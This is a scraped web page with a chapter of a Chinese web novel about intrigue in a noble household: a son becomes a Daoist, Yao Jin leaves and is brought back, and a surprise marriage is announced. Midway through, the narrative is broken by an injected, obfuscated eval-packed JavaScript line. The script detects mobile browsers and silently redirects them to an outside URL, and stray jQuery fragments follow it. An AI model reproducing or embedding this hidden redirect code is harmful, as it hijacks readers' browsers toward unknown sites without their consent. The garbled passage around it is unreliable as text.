43. 惊变

作品:《心机美人

    徐溪舍身入道一事,如同平地惊雷般,在侯府中炸开了锅。


    首当其冲的就是在秋水院里养病的姚瑾。


    在这场算计中她一无所获,甚至还被推到了风口浪尖上。


    去松鹤院请安的时候,颂莲早已等在了院门外,见了云笙便一脸歉疚地说道:“老夫人头疾犯了,说是今日不用请安,夫人请回吧。”


    “母亲没事吧?请过大夫了吗?”


    “已经差人去请了,三夫人不必担心,外头风大,您先回去吧。”颂莲温声答着,态度很是亲和。


    “嗯,既然母亲身子不适,那我就晚些时候再来吧。”即便颂莲不说,云笙也知道老夫人病从何处起。


    回浮光院的路上,她犹豫着是否要去丁香院探望章氏,可转念一想,徐溪的事闹成这样,章氏大概也是不想见人的,便按下心思,沉默地走回了浮光院。


    整个上午她都提不精神,一想到徐溪如今的境遇,她的心里就充满了愧疚。


    姚瑾说的没错,若不是她横插一杠,徐溪就不必被如此算计逼迫。


    徐彦回来的时候已经过了未时。许是听说了徐溪的事,他的神色也有些凝重。


    见云笙心事重重,他也没有苛责,而是坐在她的身边,轻声宽慰道:“他是二哥的独子,二哥再心疼姚瑾也不会弃自己的骨肉于不顾。”


    云笙缓缓抬眸,眼底划过一抹淡淡的忧思。


    “一边是旧日情义,一边是骨肉至亲,真的很难选。”


    也许就是因为无法破除这场困局,徐溪才会痛下决心,做出了如此决绝的选择。


    “再难选也得选,事情总要解决。二哥心性坚定,不是拖泥带水的人。”


    云笙眸光一转,眼底闪过一丝迷惘:“我听大嫂说,那夜你曾去见过他……”


    “嗯,”他喉结轻滚,眸色深沉:“我怕他一时糊涂,会做下难以挽回的决定,可他亲口对我说,只有这么做才能逃脱道义的捆绑。”


    云笙听得入神,眸中倾泻出一股淡淡的怜惜。


    “他想在道观里静一静,想找回自己的初心。”徐彦嗓音疏淡地说着,眼中翻涌出一股晦涩的情绪。


    什么初心,不过是弥足深陷,难以释怀。徐溪对她的悸动远比自己想象中的还要深沉。


    可这些他不能告诉云笙,否则她会愧疚到难以割舍。他不希望自己的夫人再为别的男子牵肠挂肚,哪怕是追悔和愧疚。


    云笙听得呼吸一滞,半晌没有说话。


    她以为徐溪只是有些喜欢她,以为这份喜欢会随着她嫁给徐彦而终止,却没想到他会如此难以忘怀。


    看出了她的不安,徐彦温和地揉了揉她的发顶:“放心吧,事情不会发展到无法转圜的那一步。”


    “你不觉得我很自私吗?”若不是她搅乱了徐溪的心,事情也不会发展到这般境地。


    “人在逆境中总会挣扎求生,若一定要分对错,那只能怪造化弄人。”


    墨色的眼眸里闪烁着细碎的光,像是微风掠过湖面惊起的粼粼波光。


    她的眼中划过诧异,而后涌起一股难言的酸胀,甚至莫名地想哭。


    他的宽容让人惊叹,就好像无论她做错了什么,他都可以找到理由为她开脱。


    身后传来了急促的脚步声,枇杷小跑着来到了她的跟前。


    “三爷,夫人,姚姑娘走了!”


    云笙眸光一颤,惊讶地转头看向她:“她走了?什么时候的事?”


    “说是一个时辰之前,她去拜别了二夫人,然后就带着银杏离开了侯府。”


    枇杷话音刚落,云笙便抬眸看向徐彦。


    “好一招以退为进,她倒是比我想的还要聪明!”徐彦眸光一凝,沉声说道,“去把韩明叫来。”


    “是。”枇杷立刻走出屋子,很快就将候在庭院里的韩明带了进来。


    “你现在就带人去找姚瑾,天黑之前一定要将她带回来。”


    若是姚瑾出了什么事,二哥定会愧疚一辈子。


    “是,属下这就去。”


    韩明领命而去后,徐彦神色凝重地看向云笙:“此事非同小可,我要亲自去一趟三元观。你且待在府里,想办法稳住母亲。”


    “好。”她郑重地点了点头,“你放心去吧,一会儿我去陪着母亲。”


    徐彦走后,她立刻带着枇杷去了松鹤院。


    老夫人已经起身了,见了云笙还有些疑惑。“不是说不用请安了吗?你怎么还来了?”


    “我待在屋里也没事,就想着来陪母亲说会儿话。”她压下心头的忧虑,露出一个温柔的笑来。


    “难为你有这份心,过来坐吧。”老夫人拍了拍身边的软榻,面上多了几分慈爱。


    云笙温顺地在她身边坐下,关切地问起了她的头疾:“母亲可好些了?”


    “老毛病了,不打紧的。荀妈妈给我按了半日,已经好多了。”老夫人语气温和地说着,话头一转,问起了徐彦。


    “今日朝廷休沐,你怎么不待在屋里陪老三?”


    “三爷有事出去了,我正好也想来看看母亲。”


    怕她追问徐彦出门缘由,云笙眸光一转,笑着问道:“母亲可以给我讲讲三爷小时候的事吗?”


    看着她一脸认真的模样,老夫人抿唇笑了笑,眸光渐渐变得悠远。


    “他啊,从小就爱读书,明明是个孩子,却比谁都老沉。他八岁那年……”


    云笙捧着下巴听得津津有味,直到暮色低垂,陪着老夫人用了晚膳,才笑着起身告辞。


    “难为你不嫌我唠叨,在这陪了我半日。早些回去吧,这会儿老三也该回来了。”


    “母亲早些休息,我这就回去了。”云笙欠身行了一礼,施施然走了出去。


    看着她翩跹离去的背影,老夫人对站在一旁的荀妈妈感慨道:“这孩子心性稳重,又温柔乖巧,不怪老三喜欢她。”


    “三爷眼光独到,自然不会看错人的,老夫人也能放心了。”荀妈妈笑意温柔地看着她,眼底满是赞许。


    “还早着呢,等他们有了孩子,我这心才能彻底放下。”


    “听伺候的下人说,三爷待三夫人很是亲热,想来明年这时候老夫人就能抱上孙子了。”


    听了荀妈妈宽慰的话,老夫人唇角一弯,露出了一抹欣慰的笑容,面上流露出满满的期许。


    云笙刚走出松鹤院就撞上了仓促而来的陈氏。她从未在陈氏面上看见过那么慌乱的神色。


    “大嫂。”她温驯地喊了一声,陈氏却没有理会她,径直走入了松鹤院里。


    云笙眉心一紧,狐疑地看着她消散在院门内的身影,眼底覆满了疑虑。


    她向来端庄,到底是什么事让她急的连表面功夫都顾不上了?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612024|151131||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “侯夫人这是怎么了?”身后传来来枇杷诧异的询问,云笙摇了摇头,语气淡然地说道,“这不是咱们该操心的事,走吧。”


    踏入浮光院的时候,屋子里仍是一片漆黑,见徐彦还没回来,云笙的心头蒙上了一层忧虑。


    发生了这样的事,徐溪还不肯回来吗?他就不怕姚瑾会真的出事吗?


    若说先前的割腕只是逼他服软的小打小闹,那么府外就充满了太多的未知,她若是出了意外,徐二爷怕是会愧疚终生。


    夜色越来越浓重,临近子时,徐彦才风尘仆仆地回到了屋里。


    为了不吵醒云笙,他洗漱的动作格外轻柔。可躺进被窝的那一刻,云笙还是被惊醒了。


    “夫君,你才回来吗?”那一声’夫君’唤的很轻,带着几分刚睡醒的慵懒,像是羽毛落在了心上。


    徐彦低头亲了亲她柔嫩的脸颊,嗓音低沉地给出了回应。


    “人找到了吗?”屋内一片昏暗,先前的烛火早已被他吹灭了。云笙看不见他的表情,无法判断他此刻的情绪。


    “二哥亲自去找了,应天府就这么大,明日就该有结果了,睡吧。”


    他为这事东奔西走,从午后忙到深夜,早已疲惫不堪。


    听了他低哑的回答,云笙仍是放心不下,正要开口追问,耳边却已经传来了他均匀的呼吸。


    想到他为此事耗了一日,云笙不忍吵醒他,只能按下心中的疑惑,躺在他身边继续睡觉。


    次日她醒来之时,身边空空荡荡,早已不见徐彦的踪迹。


    枇杷捧着热水进来时,她眉心一皱,懊恼地问道:“你怎么又没叫我?”


    “三爷说了不要吵醒夫人。”枇杷将铜盆搁在博古架上,一脸无奈地看着她。


    “下回不管他说什么,你都要早些喊我起来。”云笙语气肃然地叮嘱着她,见她点头应下,便起身下了床。


    梳洗过后,她在屋里用了早膳,照旧出门去给老夫人请安,可才走到院门外就被颂莲拦了下来。


    “三夫人,您还是先回去吧。”


    看着她一脸为难的模样,云笙心头一紧,疑惑地问道:“发生什么事了?可是母亲知道姚瑾离开侯府的消息了?”


    “姚姑娘……她已经回来了……”颂莲眉眼低垂,让人无法看清她眼底的情绪。


    “那就好,找回了她,大家就都能放心了。”


    听到姚瑾被寻回的消息,云笙不由松了口气。


    可不等颂莲回答,身后就传来了一声令人胆寒的冷笑。


    “还不如死在外头的好!”


    云笙愕然回眸,正巧对上陈氏阴冷的眼神。


    那双锐利的凤眸里充斥着难掩的憎恶,云笙疑惑地望着她,不明白她眼底的嫌恶从何而来。


    似是看出了她的困惑,陈氏冷哼一声,看向了垂眸不语的颂莲:“你怎么不告诉三夫人里头发生了什么事?”


    颂莲心头一颤,讪讪抬起头来,眼底写满了不安。


    身为奴婢,她本不该多嘴。可迎着云笙疑惑的目光和陈氏威严的压迫,她只能低声说出了真相。


    “二爷,他……他要娶姚姑娘……”


    颂莲话音刚落,云笙惊得身子一晃,差点没能站稳。


    徐二爷?


    他要娶姚瑾?怎么会这样?


    云笙想不明白,却莫名生出了一股不安。